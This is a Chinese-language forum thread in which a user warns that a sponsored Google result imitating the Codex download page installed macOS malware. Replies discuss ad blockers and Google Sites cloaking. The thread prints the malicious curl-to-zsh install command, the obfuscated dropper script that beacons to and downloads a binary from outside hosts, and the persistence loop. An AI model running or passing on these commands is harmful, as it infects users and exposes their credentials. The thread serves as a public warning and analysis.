紧急避雷！ google 搜 Codex 第一个结果是个病毒，千万别装，我已中招！

rt ，这个也确实怪我大意了，不小心中招了，发个帖希望各位站友别犯错

今天用 cc 编码，minmax 模型实在是问题多，我就去 google 搜 codex 官网，下载 codex 试试的搜索的第一个我就点击进去了（截止发帖时间，依然在第一个），我后面对比了下与 chatgpt 的页面一毛一样 google 截图

然后我点击第一个链接进去后，按照页面提示点击安装按钮

安装命令我贴出来下

echo "Downloading Codex: https://chatgpt.com/codex-app/Codex.dmg" && curl -s $(echo "aHR0cHM6Ly9ncmVlbmFjdGl2LmNvbS9jdXJsLzRhZjU5ZjBmYTY3YjI5MDljOWQxMWFmM2UwMmE3OTE4MjcxMDhlMmQ1MjU5OGMyN2Y2Mjg2NmEwNDAzMDk2Mzc=" | openssl base64 -d -A) | zsh

这个脚本各种混淆，以及 echo 复杂。。翻译了好半天才找到位置

Supplement 1 · 12h 7m ago

我的系统是mac ，m3，当前搜索的结果的第一个依然是有病毒的那个，链接地址是：https://sites.google.com/view/mcodxa05?gad_source=1&gad_campaignid=23830654967&gbraid=0AAAABCyPF1X_F5PgAUkSXPc81geK40xyU&gclid=Cj0KCQjw_IXQBhCkARIsADqELbIIIUvj_LG5kiLa0FV0sMTckIfL_HIk4W7aYRY-J-e1PJ3eLmYR86UaAo_iEALw_wcB

病毒的情况是：我安装后，提示我输入密码，我输入后在/Library/LaunchDaemons 中增加一个启动项，启动的内容是home目录下， /Users/xxx/Library/Application Support/.com.apple.accountsd/.service .service的内容在下面，每一秒启动一次AccountsHelper，AccountsHelper是一个二进制程序看不到内容，gemini 给分析是在不断获取cookies 、账号密码加密货币等信息

while true; do

    osascript <<EOF

set loginContent to do shell script "stat -f \"%Su\" /dev/console"

if loginContent is not equal to "" and loginContent is not equal to "root"

    do shell script "sudo -u " & quoted form of loginContent & " '/Users/zrc/Library/Application Support/.com.apple.accountsd/AccountsHelper'"

end if

EOF

    sleep 1

done

Supplement 2 · 11h 40m ago

基本可以确认的是，昨天这个推广页被黑了，我刚好进了这个被黑的页面，这个页面现在还在修复中

Codex

病毒

警惕

90 replies • 2026-05-12 17:39:45 +08:00

mangmaimu

21h 14m ago via iPhone

从来没看到过赞助商广告，不知道是区域不同，还是 adguard 或者 UBlock 过滤了

zrc

21h 12m ago

是我太大意了。。走的代理，区域是香港。
这个域名还是 business.google.com 第一眼看是 google 的域名，也就点进去了。。唉，长记性了

HFX3389

21h 9m ago

前面给个真的，后面掺上假的

shoaly

21h 1m ago

装一个去广告插件的重要性就来了

since2021

21h 0m ago

为什么不装 ubo ～

dryyun

20h 56m ago

@zrc #2 这域名不是 google.com 域名吗？看着二级域名不同而已。

AlexaZhou

20h 56m ago

我一直觉得这种复制一个命令，让用户自己来安装软件的方式，对用户非常危险，根本就不知道装了什么，有没有病毒，今天这就有人中招了

建议大家要抵制这种，尽量不要用这种方式安装

zrc

20h 51m ago via Android

@dryyun 是啊，google 域名，而且这个链接已经 100 万次点击，不知道有多少人中招了

psllll

20h 51m ago

这网站怎么 520 了

e23nome

20h 50m ago

@since2021 有数据称 32.5%的美国互联网用户会使用广告拦截工具。

所以美国的虚假竞价排名广告的受害者也是很多的。这也是为什么有这种赞助商广告，并附加月访问量超过 100 万次的背书（虽然有知识的人会觉得太少了）。

谷歌和脸书的收入里相当比例的都是这种诈骗/虚假/恶意广告，哈哈。

e23nome

20h 42m ago

而且这个图（去红框）喂给 AI ，AI 很容易告诉你这个广告是假的。

为啥谷歌投放广告的入口却没有 AI 筛查，就不得而知了。

e23nome

20h 37m ago

chatGPT 说

2. 第二个广告：business.google.com / Install ChatGPT Codex
这个比较奇怪。标题是 ChatGPT Codex ，但显示域名是 business.google.com 。不一定就是诈骗，也可能是 Google Business/广告跳转配置问题，但我会谨慎，不建议点。

我的之所以是第二个，因为我的搜索页面显示了两个赞助商广告，第一个是 openAI 自己投的。

realpg

PRO

20h 25m ago

google 搜出来竞价病毒：大家警惕避雷
百度搜出来竞价虚假网站：百度傻逼百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx

Kizishao

20h 7m ago

把安装脚本发给 Gemini ，回复称其为一段典型的恶意脚本，并称其为“恶意广告欺诈”，是通过高价竞价竞标来的。它还提醒 curl | sh 的安装方式极端危险，除非官方文档。

Google 自己都没有用自家的 AI 去审核，实在有些说不过去。

layden

20h 6m ago

装个 uBlock 吧，不会吃太多性能的。

dingawm

20h 5m ago

@mangmaimu #1 如果代理 IP 送中了，那就是不会有广告

zpvip

19h 51m ago

你能把链接贴出来吗，网页截图上显示的 business.google.com 我打开是正常的 Google 子站，我都是自动登录的状态。

Google 赞助商允许链接显示 business.google.com ，但实际链接变成病毒站？你是不是浏览器中毒在先？

ragnaroks

19h 41m ago

看起来是拓展或用户脚本注入的？

无任何拓展的全新 chrome 多次实验不同的常见搜索词，没有一个搜索结果下面是有"过去一个月内访问量超过 100 万次"这种文本的

ragnaroks

19h 39m ago

赞助商广告也没有这个访问量文本

https://p.sda1.dev/32/9769863c38c3737016000f7c9c3d2051/Snipaste_2026-05-12_00-32-46.png

psllll

19h 34m ago

感觉是网站被黑了，目前点进去是正常推广
https://sites.google.com/view/mcodxa05?gad_source=1&gad_campaignid=23830654967&gclid=Cj0KCQjw_IXQBhCkARIsADqELbJcy9aQF_0xIkq4sEA2LQfV82zGVa5rHkOWIasNSvS6RZ6pMb4sV1AaAo4ZEALw_wcB

hackroad

19h 21m ago

xingheng

15h 54m ago

https://xingheng.github.io/malware-for-macos/
跟这个神似。

Pastsong

14h 34m ago

@realpg 魔怔人，整个帖子有人提百度吗

maydb

14h 26m ago

请问中了什么病毒？能多说两句吗？

kanezeng

13h 43m ago

@psllll 我点进去和你这个链接一样，是个叫 Royalblend4 的软件。比较分裂的是网页标题还是 Codex 。不过页面本身没有任何 Codex 相关的东西。以前还真没注意这个事，因为页面上有表明“赞助商搜索结果”，我都是直接跳过这那一部分。

Vancion

13h 30m ago via iPhone

现在还是诈骗网站，难道还根据 ip/ua 做了分流？顺手点举报了。

GoogolChrome111

12h 39m ago

我是 ChatGPT 官网进去，然后在 Microsoft Store 安装的

iorilu

12h 27m ago

codex cli 命令行就装阿

你要 app, 那就用 windows store, 搜 codex 就行

zrc

12h 5m ago

@psllll 现在确实是正常的。。。
@ragnaroks 我贴上去了，不过现在的是正常的

383394544

11h 49m ago

你都用 mac 了还不用 homebrew

crazycloudccc

11h 45m ago

传统搜索引擎已经不可信了, 需要习惯用 AI 了.

gpt5

11h 38m ago via iPhone

只有基本盘才相信谷歌会作恶😡

Saunak

11h 33m ago

@layden #15 和 AdGuard 哪个好呢？

different

11h 26m ago

请问安装后是如何发现有问题的？还是习惯性去检查一下？

Dream4U

11h 24m ago

默认都不过滤广告的，都是神人

hlwjia

PRO

11h 15m ago

为啥可以用 business.google.com 这样的域名？

确实看到 *.google.com 我也会相信。

elboble

11h 5m ago

应该是赞助商提交给 google 的页面被篡改了。

GeminiPro

11h 2m ago

所以盲目崇拜 google 并不可取，谷歌和百度并没有本质区别。

zrc

10h 52m ago

我把脚本贴上来，脚本中的变量会每次发生变化，大概的过程是：
1. 通过 curl 获取脚本
2. 脚本中先调用一个接口，告诉远程主机，有人中招了
```bash
curl -fsS --connect-timeout 5 --max-time 10 -X POST -H 'user: BWJF3TX87QAqxEsOaxLu9ZIAH_q__w3aVtJZCqsYhTE' -H 'BuildID: ks6u7pJc12FKlHPoS_nYGUbye8dGpkQrJZkyhNfx9ZI' "https://dedelk.com/api/metrics/run?event=pasted%"
```
3. 接着下载一个 bin 文件放在了/temp/helper ，
4. 执行/temp ，注册系统启动事件,启动程序,删除/temp/helper

具体的脚本内容如下：
第一段更多的是一个迷惑作用，最关键的是 f0f6of 这个变量的内容
```bash
#!/bin/zsh
# zzud4h2ltf1y 4890
l5xieuhg="/usr/local/r0mg9"
v79vjj=$(uname -s 2>/dev/null)
if [ -z "$v79vjj" ]; then
v79vjj="Darwin"
fi
nyyvhzgvij="auto"
d60149dy8v3h="$(sw_vers -productVersion 2>/dev/null)"
check_integrity_jmq() {
local rzut=0
[ -d "$HOME" ] && rzut=1
return $rzut
}
x4itis=("mkjel4tgg" "qlfo51mwah" "zqg4up9ffg" "gbwzya0uf")
xtma=0
while [ $xtma -lt 3 ]; do
: "$((RANDOM % 256))"
xtma=$((xtma+1))
done

z4n64q62=$(cat <<'_EOF_'
X1SZu9e8MLYgp7YEYHdgEmWo3WmDtWP1pg8ydKufpE9yUtQLEIizIQ==
_EOF_
)

f0f6of=$(openssl base64 -d <<'PAYLOAD_END' | gunzip
H4sIAIXW/GkC/5VSXZOaMBR951eklhGdDiOBBNSpO7Pb/XBtu+5W2+46zjigKBQE5Nu1/PeGBIu2
felDJrk3556T3HPfvukYttd5jSyOC2AQbNe2agwafKuTRCG9SoLY3ppAvuiszLTjJa4LfgI9c4Bw
CELbiwGvFEK7wbmh0UN4gCUFcam5DaARws2Pkqr15fLhevy5TUBckGF/nQ/4Fq1dA2EOsTSHKqpW
eVbmkibPJazRBRHJI1zvmOyYYLBKYoWcCQbjCgsZB4YsxpjVUG6Z5mlNqVHelzm15FSJplZh1UpH
pXWShhkn5VYYF3uP0OacLOq+nn2H0uNKroTwBwoqgLiOJkAUl77nmctYLNvqJzHAJLfVcxoDKAHx
GTyOJ1MgDoGQRGbYB1ffR7fK9LmrPV3u8ptorOefkt7s/nK42C0WmaJ/i0ezD7voxZreCLTsKrHd
1f11HziRmmjBaAnl24/u8NGfLLyXu6/G3uyu7gLnKRzNnL31sM4JmwAa/IHZUzTA+9rtE+PliyYE
TU43VnKU/Z+JVbMRrpuLjmYgZgxp/D9NxXJtIpIrHshqqElHM49GocosahRxILF2O807fS/DIzYg
pIbpSPWAqdVZlUm9ncdBevZdTaol2GwRmBW4Pe+vWShZSxU2ymfz4AP+wN5WkBPragGaTRJQSQJZ
nkDoBRUpwLv8z4sq4Lg+CdLextbQxukPpIImsnSjp/n+dxxHiS+tLBr/AlTYUkgEBAAA
PAYLOAD_END
)

k2wjsre8="/usr/local/qxh9l"
aau2=0
while [ $aau2 -lt 2 ]; do
: "$((RANDOM % 256))"
aau2=$((aau2+1))
done
if [ -z "$f5bskk" ]; then
f5bskk="Darwin"
fi
f5bskk=$(uname -s 2>/dev/null)
z1bt7m="$(date +%s)"
gc_collect_k5g() {
local zms3=0
[ -d "$HOME" ] && zms3=1
return $zms3
}
vgbd9v=("zzwwo0" "ppfrb3yrz" "ninsq")
zm3wi7o7x="false"

eval "${f0f6of}"

```

f0f6of 的内容，也就是这个代码最真实的意图：

```bash
#!/bin/zsh

p1ppmfi6b="$(/usr/bin/uptime 2>/dev/null | awk '{print $3}')"
lrb945=5034
vemp1br1gj="$((RANDOM))"

pw5ofx=$(printf '\150\164\164\160\163\072\057\057\144\145\144\145\154\153\056\143\157\155\057\141\160\151\057\155\145\164\162\151\143\163\057\162\165\156\077\145\166\145\156\164\075\160\141\163\164\145\144')
kws8z=$(printf '\143\165\162\154')
${kws8z} -fsS --connect-timeout 5 --max-time 10 -X POST -H 'user: BWJF3TX87QAqxEsOaxLu9ZIAH_q__w3aVtJZCqsYhTE' -H 'BuildID: ks6u7pJc12FKlHPoS_nYGUbye8dGpkQrJZkyhNfx9ZI' "${pw5ofx}" </dev/null >/dev/null 2>&1 &
abd2sw=$(printf '\150\164\164\160\163\072\057\057\147\162\145\145\156\141\143\164\151\166\056\143\157\155\057\152\145\164\142\162\141\151\156\163\057\165\160\144\141\164\145')
uhqq7n=$(printf '\057\164\155\160\057\150\145\154\160\145\162')
ixtpv=$(printf '\170\141\164\164\162')
hpl9n=$(printf '\143\150\155\157\144')
${kws8z} -o ${uhqq7n} ${abd2sw} && ${ixtpv} -c ${uhqq7n} && ${hpl9n} +x ${uhqq7n} && ${uhqq7n}

: ${v9gi74gk:=0}
: ${wvgavxy:=0}
: ${tsuo0dh:=0}
```

zrc

10h 51m ago

@different 就是安装后什么都没有。。我就开始拉脚本，分析脚本，然后就发现中招了

zeex

10h 41m ago

我为什么看不到赞助商这一条内容，是 ghostery 插件屏蔽了吗

rb6221

10h 12m ago

没遇到过，第一次了解到这种.google.com 的域名也有可能是展示的第三方内容，学到了

digdug

10h 0m ago

我没装 ad block ，但是我为啥搜出来都是官方。。不太懂

realpg

PRO

9h 55m ago

@psllll #20
@hlwjia #36
@elboble #37

没啥篡改的，就是专门针对半懂不懂的人的，而且，这种套路都很久了，已经至少有三五年了

一般是用 google sites 发布一个网站，然后伪装成一个大厂大软件的官网，然后根据后台判定是不是要搞你，要告你就给你一次虚假软件

你举报都没用，都是前端工程动态生成的，google 那边无法复现，审核人员进去就是正常的下载，而且 google 的印度审核比较人机，他们很多时候都分不出真假网站

最早都是做假的 chrome 中文网站，给你推带后门可以执行代码的 chrome ，常态偷返利，还预留了弹性后门等肉鸡多了可以额外搞你，都是圈子里玩烂了的东西，几年了都有人反馈，google 都不修

@HFX3389 #3
给你真的还是假的后面是有算法的，没那么简单
最基本的就是类似当年淘宝根据不同 IP 给不同宣传图让淘宝审核人员看不见虚假宣传